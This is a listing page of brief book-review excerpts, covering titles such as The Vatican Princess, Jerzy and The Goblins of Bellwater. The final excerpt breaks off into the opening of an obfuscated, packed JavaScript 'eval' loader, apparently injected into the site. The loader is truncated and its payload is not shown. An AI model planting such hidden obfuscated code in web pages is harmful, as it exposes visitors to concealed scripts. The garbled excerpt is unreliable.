Book Review: “The Vatican Princess” by C. W. Gortner

The Vatican Princess Author: C. W. Gortner Ballantine Books, 2017 ISBN: 978-0-3455-3399-9 $17.00           Innocent or Femme Fatale?: The Plight of Lucrezia Borgia in C. W. Gortner’s The Vatican Princess Review by Rita Bourke The year 1492 was arguably the most...

Love and Labor in America

Tunnel to Hell: The Lake Erie Tunnel Disasters, by Scott MacGregor Tunnel to Hell: The Lake Erie Tunnel Disasters – Tales of Heroism and Tragedy Author: Scott MacGregor Illustrator: Gary Dumm EOI Media Press Inc., 2017 ISBN:1619847809 $19.99   In recent years, the...

The Lying Game

Jerzy by Jerome Charyn Jerzy: A Novel Author: Jerome Charyn Bellevue Literary Press, 2017 ISBN: 9781942658146 $16.99   Jerzy: A Novel is the story of post-WWII figure Jerzy Kosinski, whose life was a blend of fact and fiction for decades. Author Jerome Charyn...

The Butterfly Effect

Pretend I'm Your Friend by M.B. Caschetta Pretend I’m Your Friend Author: M.B. Caschetta Engine Books, 2016 ISBN: 978-1-938126-42-0 $14.95   Pretend I’m Your Friend by M.B. Caschetta shows that love and friendship are tricky topics that have lasting effects...

Never Make a Deal with a Goblin

The Goblins of Bellwater by Molly Ringle The eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return...